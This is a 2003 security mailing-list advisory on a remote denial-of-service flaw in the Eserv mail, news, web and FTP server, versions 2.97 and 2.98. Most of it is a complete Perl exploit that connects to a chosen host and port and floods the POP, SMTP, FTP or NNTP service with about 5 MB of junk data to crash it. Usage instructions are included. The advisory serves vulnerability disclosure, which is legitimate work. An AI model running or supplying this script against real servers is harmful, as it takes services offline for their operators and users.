[NT] Eserv Remote Denial of Service (5mb Garbage)
From: support@securiteam.com
Date: 01/05/03
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From: support@securiteam.com To: list@securiteam.com Date: 5 Jan 2003 11:00:40 +0200
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Eserv Remote Denial of Service (5mb Garbage)
------------------------------------------------------------------------
SUMMARY
<http://www.eserv.ru/> Eserv is a Mail, News, Web, FTP and Proxy Servers
for Win95/98/NT/2000. A security vulnerability in the product allows
remote attackers to cause the server to crash by sending it more than 5Mb
of data.
DETAILS
Vulnerable systems:
* Eserv version 2.98
* Eserv version 2.97 and prior
Exploit:
#!/usr/bin/perl
######################################################
#EServ/2.97 remote DoS xsploit
#Bugs founded in v.2.97 but I think that 2.98 is
#vulnerable too.
#################
#Usage: perl EServ.DoS.pl [host] [port] [service_type]
#Where 'service_type' - service to attack (pop, smtp, ftp, nntp)
#Example: perl EServ.DoS.pl localhost 110 pop
#################
#If something wrong or u wanna to discuss something,
#contact me: "D4rkGr3y" <grey_1999@mail.ru> icq: 540981
#######################################################
use IO::Socket;
$host = $ARGV[0];
$port = $ARGV[1];
$param = $ARGV[2];
$data = "a";
print "\n\n";;
print "#Product: EServ/2.97 - www.eserv.ru\n";
print "#Vuln: remote DoS\n";
print "#Xsploit by D4rkGr3y\n";
print "#Warning: if u use dial-up connection, attack can take a few
time.\n\n";
if ($param) {
$num = "4950001" if $param eq "pop";
$num = "4960000" if $param eq "smtp";
$num = "5005312" if $param eq "ftp";
$num = "5001215" if $param eq "nntp";
die "Error in params\n" if !$num;
print "Connecting...";
$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port,
Proto => "tcp", Type => SOCK_STREAM) or die "Socket
error.\n";
print "OK\n";
$buf .= $data x $num;
print "Attacking...";
print $socket "$buf\n";
print "OK\n\n";
print "Vizit us at www.dhgroup.org";
close($socket);
} else {
print "Error in Params.\n";
print "Usage: perl EServ.DoS.pl [host] [port] [service_type]\n";
print "Where 'service_type' - service to attack (pop, smtp, ftp,
nntp)\n";
print "Example: perl EServ.DoS.pl 127.0.0.1 110 pop\n";
exit;
}
#EOF
ADDITIONAL INFORMATION
The information has been provided by <mailto:grey_1999@mail.ru> D4rkGr3y.
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